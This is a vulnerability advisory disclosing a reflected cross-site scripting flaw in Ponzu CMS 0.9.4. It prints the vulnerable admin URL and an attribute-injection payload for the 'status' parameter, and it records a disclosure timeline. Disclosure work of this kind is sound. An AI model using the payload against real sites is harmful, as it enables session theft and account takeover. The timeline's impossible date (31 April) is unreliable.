Reflected Cross-site Scripting Vulnerability in Ponzu CMS 0.9.4


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Ponzu CMS
Affected Software: Ponzu
Affected Versions: 0.9.4
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-19-005

Technical Details

Reflected XSS

URL: http://{DOMAIN}/admin/contents?count=1&offset=-1&order=desc&status=x"
onmouseover=netsparker(0x001194) x="&type=Song

Parameter Name: status
Parameter Type: GET
Attack Pattern: x" onmouseover=netsparker(0x001194) x="

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

26th February 2019 – First Contact
27th February 2019 – Technical Details Sent
31st April 2019 – Vendor Requests PR of the Technical Details
12th June 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Yusuf Şahin while testing the Invicti Web Application Security Scanner.

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